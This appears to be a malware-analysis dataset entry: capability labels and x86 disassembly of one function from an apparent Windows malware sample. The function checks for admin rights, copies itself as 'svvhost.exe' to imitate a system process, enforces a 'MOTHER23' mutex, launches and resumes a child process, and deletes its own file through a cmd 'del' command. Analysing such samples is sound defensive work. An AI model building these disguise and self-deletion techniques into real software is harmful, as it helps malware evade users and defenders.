Function at 0x404740
Capabilities:
Check mutex on windows
Create process on windows
Get comspec environment variable
Get token membership
Initialize winsock library
Query environment variable
Resume thread
Self delete

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42d89b
mov eax, dword fs:[0]
push eax
sub esp, 0x894
mov eax, dword [0x43b06c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x87c]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x4047be
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
mov edx, str.Failed._Error_Code_:
mov ecx, 0x43c2f0
call fcn.0040a090
mov ecx, eax
call fcn.00406e10
or eax, 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040efde
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x664]
call fcn.00403fa0
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x64c], xmm0
mov dword [ebp - 0x63c], 0
mov dword [ebp - 0x638], 0xf
mov byte [ebp - 0x64c], 0
push ecx
push str.System32
lea ecx, [ebp - 0x664]
mov byte [ebp - 4], 1
call fcn.00407190
cmp eax, 0xffffffff
jne 0x404c75
push ecx
push str.C:UsersPublic
lea ecx, [ebp - 0x664]
call fcn.00407190
cmp eax, 0xffffffff
jne 0x404c75
lea eax, [ebp - 0x880]
mov dword [ebp - 0x62c], 0
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
lea eax, [ebp - 0x634]
mov dword [ebp - 0x634], 0
push eax
mov word [ebp - 0x630], 0x500
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x4048a2
lea eax, [ebp - 0x62c]
push eax
push dword [ebp - 0x880]
push 0
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x404896
mov dword [ebp - 0x62c], eax
push dword [ebp - 0x880]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [ebp - 0x62c], 0
lea ecx, [ebp - 0x64c]
je 0x404901
push 0x1f
push str.C:WindowsSystem32_svvhost.exe
call fcn.00409d40
lea edx, [ebp - 0x64c]
lea ecx, [ebp - 0x664]
call fcn.004042b0
test al, al
jne 0x40490a
push str.MOTHER23
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x404d67
test esi, esi
jne 0x404d1b
jmp 0x404d67
push 0x1b
push str.C:UsersPublic_svvhost.exe
jmp 0x4048b8
lea eax, [ebp - 0x8a0]
mov dword [ebp - 0x6ec], 0x44
push eax
lea eax, [ebp - 0x6ec]
xorps xmm0, xmm0
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
sub esp, 0x18
movlpd qword [ebp - 0x6e8], xmm0
lea eax, [ebp - 0x64c]
movlpd qword [ebp - 0x6e0], xmm0
mov ecx, esp
movlpd qword [ebp - 0x6d8], xmm0
movlpd qword [ebp - 0x6d0], xmm0
push eax
movlpd qword [ebp - 0x6c8], xmm0
movlpd qword [ebp - 0x6c0], xmm0
movlpd qword [ebp - 0x6b8], xmm0
movlpd qword [ebp - 0x6b0], xmm0
movups xmmword [ebp - 0x8a0], xmm0
call fcn.00407440
call fcn.00402bd0
add esp, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x404a6c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov edx, str.CreateProcess_failed__
mov ecx, 0x43c498
call fcn.0040a090
mov ecx, eax
call fcn.00406c50
mov edx, 0x4372e0
mov ecx, eax
call fcn.0040a090
push eax
call fcn.0040a340
mov ecx, dword [ebp - 0x638]
add esp, 4
cmp ecx, 0x10
jb 0x404a0e
mov edx, dword [ebp - 0x64c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404a04
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404d8b
push ecx
push edx
call fcn.0040f21e
add esp, 8
mov ecx, dword [ebp - 0x650]
mov dword [ebp - 0x63c], 0
mov dword [ebp - 0x638], 0xf
mov byte [ebp - 0x64c], 0
cmp ecx, 0x10
jb 0x4047a0
mov edx, dword [ebp - 0x664]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404a5d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404d8b
push ecx
push edx
call fcn.0040f21e
add esp, 8
jmp 0x4047a0
push dword [ebp - 0x8a0]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x89c]
call esi
push 0x104
lea eax, [ebp - 0x218]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x404bdf
push 0x104
lea eax, [ebp - 0x218]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
test eax, eax
je 0x404bdf
push 0x104
lea eax, [ebp - 0x628]
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
je 0x404bdf
push str.__c_del
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x420]
push eax
call esi
push str.___nul
lea eax, [ebp - 0x420]
push eax
call esi
lea eax, [ebp - 0x420]
push eax
lea eax, [ebp - 0x628]
push eax
call esi
xorps xmm0, xmm0
mov dword [ebp - 0x6a8], 0x44
xor eax, eax
movlpd qword [ebp - 0x6a4], xmm0
push 0x100
movlpd qword [ebp - 0x69c], xmm0
movlpd qword [ebp - 0x694], xmm0
movlpd qword [ebp - 0x68c], xmm0
movlpd qword [ebp - 0x684], xmm0
movlpd qword [ebp - 0x676], xmm0
movlpd qword [ebp - 0x66e], xmm0
mov word [ebp - 0x666], ax
movups xmmword [ebp - 0x890], xmm0
mov dword [ebp - 0x67c], 1
mov word [ebp - 0x678], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov esi, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push eax
call esi
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov edi, dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push eax
call edi
lea eax, [ebp - 0x890]
push eax
lea eax, [ebp - 0x6a8]
push eax
push 0
push 0
push 0xc
push 0
push 0
push 0
lea eax, [ebp - 0x628]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x404d6e
jmp 0x404d47
mov ecx, dword [ebp - 0x638]
cmp ecx, 0x10
jb 0x404c19
mov edx, dword [ebp - 0x64c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404c0f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404d8b
push ecx
push edx
call fcn.0040f21e
add esp, 8
mov ecx, dword [ebp - 0x650]
mov dword [ebp - 0x63c], 0
mov dword [ebp - 0x638], 0xf
mov byte [ebp - 0x64c], 0
cmp ecx, 0x10
jb 0x404c6e
mov edx, dword [ebp - 0x664]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404c64
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404d8b
push ecx
push edx
call fcn.0040f21e
add esp, 8
xor eax, eax
jmp 0x4047a3
cmp dword [ebp - 0x650], 0x10
lea eax, [ebp - 0x664]
mov dword [ebp - 0x880], eax
jb 0x404c9a
mov eax, dword [ebp - 0x664]
mov dword [ebp - 0x880], eax
test eax, eax
je 0x404ce4
mov edi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
push 0
push 0xffffffffffffffff
push eax
push 0
push 0
call edi
xor ecx, ecx
mov esi, eax
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0040f22c
add esp, 4
mov dword [ebp - 0x62c], eax
push esi
push eax
push 0xffffffffffffffff
push dword [ebp - 0x880]
push 0
push 0
call edi
mov eax, dword [ebp - 0x62c]
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00407060
call fcn.00404670
add esp, 0x18
push str.MOTHER23
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x404d67
test esi, esi
je 0x404d67
jmp 0x404d42
sub esp, 0x18
lea ecx, [ebp - 0x664]
mov esi, esp
call fcn.004072a0
mov ecx, eax
call fcn.00404240
push eax
mov ecx, esi
call fcn.00407060
call fcn.00404670
add esp, 0x18
call fcn.004042a0
push 0x40
push dword [ebp - 0x890]
call esi
push 0xfffffffffffffff1
push dword [ebp - 0x88c]
call edi
push dword [ebp - 0x88c]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0
call fcn.00413b72
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call edi
push 0
call fcn.00413b72
call fcn.00417d1f
int3